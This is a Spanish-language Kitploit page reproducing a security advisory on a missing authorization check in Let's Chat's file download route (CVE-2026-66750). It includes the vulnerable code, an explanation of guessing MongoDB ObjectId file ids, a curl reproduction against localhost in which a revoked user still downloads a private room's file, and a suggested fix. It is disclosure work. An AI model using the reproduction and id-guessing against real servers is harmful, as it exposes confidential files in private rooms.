Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat- — Aviso de Seguridad: Controles de Acceso Insuficientes Permiten Descargas de Archivos No Autorizadas (Let's Chat) | Kitploit
Herramientas/GitHubGitHub/theopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-
Autenticación y AutorizaciónAnálisis de VulnerabilidadesSeguridad WebMala ConfiguraciónAprendizaje y Educación
GitHubtheopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-

CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

Aviso de Seguridad: Controles de Acceso Insuficientes Permiten Descargas de Archivos No Autorizadas (Let's Chat)

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 23 díasAún no revisado

Aviso de seguridad: Los controles de acceso insuficientes permiten descargas de archivos no autorizadas (Let's Chat)

ID de CVE asignado: CVE-2026-66750

Resumen

GET /files/:id/:name verifica que quien realiza la llamada haya iniciado sesión y luego sirve el archivo. Nunca comprueba si quien realiza la llamada tiene permiso para ver la sala a la que pertenece el archivo.

Por lo tanto, cualquier cuenta puede leer archivos adjuntos de salas privadas y protegidas con contraseña de las que no es miembro, y los usuarios cuyo acceso a una sala ha sido revocado conservan enlaces de descarga funcionales para todos los archivos que se subieron mientras tenían acceso.

El endpoint de listado de archivos del mismo controlador sí comprueba la membresía, algo que le falta al endpoint de descarga.

Versiones afectadas

URL del repositorio: https://github.com/sdelements/lets-chat

Vulnerable desde 0.3.0 (commit 55e8833, 24 ene 2015, "Files backend") hasta 0.4.8, la versión final. No existe una versión corregida.

Las salas privadas y protegidas con contraseña llegaron en 0.4.0, por lo que la frontera de confidencialidad que esto cruza existe desde 0.4.0 en adelante.

Requiere files.enable: true, que está desactivado en defaults.yml pero activado en muchos despliegues, ya que compartir archivos es una funcionalidad documentada.

Confirmado en 0.4.8 en el commit 617207f y en docker.io/sdelements/lets-chat:latest (0.4.7).

Clasificación

CWE-639: Authorization Bypass Through User-Controlled Key. También CWE-862, Missing Authorization.

Puntuación base CVSS 4.0: 5.3 (Media) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Modelo de amenaza

El atacante necesita una cuenta de usuario normal, acceso de red al puerto HTTP y el ObjectId de un archivo. El auto-registro está habilitado por defecto.

En la práctica, el id no es un secreto. Cualquiera que haya sido miembro de la sala ya lo tiene, porque tanto files:list como el mensaje upload://files/<id>/<name> publicado al subir el archivo lo revelan. La revocación del acceso no lo invalida, y la URL no tiene caducidad ni firma.

Para un atacante sin historial previo en la sala objetivo, el id debe adivinarse. Es un ObjectId de MongoDB, no un UUID, y muy poca parte de él es impredecible:

root@kitploit:~
6a65092c fa7876 0001 34649e
    |       |     |     |
    |       |     |     +--- 3 byte counter, increments by one per document
    |       |     +--------- 2 byte process id
    |       +--------------- 3 byte machine id, fixed for the life of the process
    +----------------------- 4 byte Unix timestamp, one second resolution

Todo excepto el contador es constante durante la vida de un proceso de servidor, y el contador es una única secuencia compartida por todas las colecciones. Por lo tanto, un atacante que sube un archivo propio aprende el id de máquina, el id de proceso y la posición actual del contador, y todos los archivos subidos por cualquier otra persona quedan a poca distancia en esa secuencia. Ocho subidas consecutivas en sdelements/lets-chat:latest:

root@kitploit:~
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5

Detalle técnico

La ruta de descarga aplica requireLogin y nada más. app/controllers/files.js:59-92:

root@kitploit:~
app.route('/files/:id/:name')
    .all(middlewares.requireLogin)
    .get(function(req, res) {
        models.file.findById(req.params.id, function(err, file) {
            if (err) {
                // Error
                return res.send(400);
            }

            if (!file) {
                return res.send(404);
            }

            var isImage = [
              'image/jpeg',
              'image/png',
              'image/gif'
            ].indexOf(file.type) > -1;

            var url = core.files.getUrl(file);

            if (settings.provider === 'local') {
                res.sendFile(url, {
                    headers: {
                        'Content-Type': file.type,
                        'Content-Disposition': isImage ? 'inline' : 'attachment'
                    }
                });
            } else {
                res.redirect(url);
            }

        });
    });

file.room se carga y luego nunca se consulta.

La ruta de listado de la misma funcionalidad sí comprueba la membresía. app/core/files.js:156-175:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    ...
    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {
        ...
        if (!canJoin) {
            return cb(null, []);
        }

Así que la aplicación ya tiene la comprobación que necesita (Room.canJoin, definida en app/models/room.js:130); la ruta de descarga simplemente no la invoca.

Reproducción

Requiere files.enable: true y rooms.private: true (LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).

root@kitploit:~
BASE=http://localhost:5000

for U in owner insider; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
  -d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":"insider"}'

# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>

# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":""}'

# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"

# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"

El mismo resultado se mantiene para una cuenta que nunca fue miembro de la sala, dado el id del archivo.

Impacto

Los archivos adjuntos en salas privadas y protegidas con contraseña pueden ser leídos por cualquier cuenta del servidor que tenga o pueda derivar el id del archivo. Eliminar a alguien de una sala privada, o cambiar la contraseña de una sala, no corta su acceso a los archivos ya subidos, y archivar la sala tampoco.

Corrección sugerida

Cargar la sala y reutilizar la comprobación que files:list ya realiza. En app/controllers/files.js:62, después de la cláusula de guarda if (!file):

root@kitploit:~
models.room.findById(file.room, function(err, room) {
    if (err || !room) {
        return res.sendStatus(404);
    }

    room.canJoin({ userId: req.user._id, password: req.param('password') },
                 function(err, canJoin) {
        if (err || !canJoin) {
            return res.sendStatus(404);
        }

        // existing sendFile / redirect logic
    });
});

Devolver 404 en lugar de 403 para un id no autorizado evita confirmar que el archivo existe.

Descargar herramienta